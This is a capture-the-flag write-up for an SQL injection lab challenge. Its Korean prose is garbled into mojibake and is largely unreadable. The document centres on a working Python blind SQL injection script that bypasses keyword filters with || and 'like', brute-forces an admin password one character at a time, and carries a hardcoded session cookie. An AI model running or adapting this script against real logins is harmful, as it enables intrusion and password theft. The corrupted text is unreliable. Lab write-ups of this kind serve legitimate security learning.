[๋ฌธ์ 11๋ฒ]
์ฝ๋๋ฅผ ์ดํด๋ณด๋ prob, _, . , () \๋ฑ ๊ธฐ๋ณธ์ ์ผ๋ก ๋ง๋๊ฒ ๋ง๊ณ
or and๋ฅผ ๋ง์๋จ๋น. substr๋ ๋ง์๋์ ๊ฒ ๊ฐ๋ค. (๊ทผ๋ฐ substr ์จ๋ HeHe๊ฐ ์๋จ๋ค์ ?_?)
admin์ pw๋ฅผ ์ผ์น ์ํค๋ฉด ํต๊ณผ๋๋ ๋ฌธ์ ์ธ ๊ฒ ๊ฐ๋ค. ์ฝ๊ฐ 8๋ฒ ๋ฌธ์ ์ ๋ฐ์ ํ ๋ฌธ์ ๋๊น..
= ์ ๋ง์๋์๋ค์. = ์ like๋ก ๋ฐ๊ฟ์ค ์ ์์ด์!!!
'or' == ||
'and' == &&
'=' == like
์ด๋ ๊ฒ! ์ฐํํด์ฃผ์ธ์!
์๊น ๊ทธ ํ์ด์ฌ ์ฝ๋๋ฅผ ๊ทธ๋๋ก ์ฐ๋, or = ||, '=' = like๋ก ๋ฐ๊ฟ์ฃผ์๋ฉด ๋ฉ๋๋ค.
import requests
from bs4 import BeautifulSoup
query1 = "\' || substring(pw,%d,1) like %s #"
dbname = []
password = []
word = ['\'a\'', '\'b\'', '\'c\'', '\'d\'', '\'e\'', '\'f\'', '\'g\'',
'\'h\'', '\'i\'', '\'j\'', '\'k\'', '\'l\'', '\'m\'', '\'n\'', '\'o\'', '\'p\'', '\'q\'', '\'r\'', '\'s\'',
'\'t\'', '\'u\'', '\'v\'', '\'w\'', '\'x\'', '\'y\'', '\'z\'', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0']
#print("์ํ ์ฝ๋ : ",res.status_code)
print("========= Blind SQL injection ===========")
# 1. ์ฌ์ฉํ๊ณ ์๋ DB ๊ธธ์ด ์์๋ด๊ธฐ.
print("######################data ๋ถ์ ์ค")
num = 1
while num <= 8:
for src in word:
dbname = [query1 % (num, src)]
cookies = {'PHPSESSID': '27g5thpe9ib9v6o1vq12kvhpv6'}
params = {'id': 'admin', 'pw': dbname}
res = requests.get('https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php', params=params, cookies=cookies)
code = res.text # ์ ์ฒด ์ฝ๋
search = "Hello admin" # ์ฐธ์ผ์ ๋์ค๋ ๊ฒฐ๊ณผ ๊ฐ
if search in code: #์ฝ๋์์ ์ฐธ์ผ ์ ๋์ค๋ ๊ฐ์ด ๋ค์ด๊ฐ ์๋ค๋ฉด
print("Data : ", src)
password += src
#print(dbname)
break
num = num+1
print("###########################์๋ฃ")
print('pwd : ', '_'.join(password))
์ด๋ ๊ฒ ์คํ์ํค๋ฉด
pw ๊ฒฐ๊ณผ๊ฐ ๋์ค๋ค์.
Clear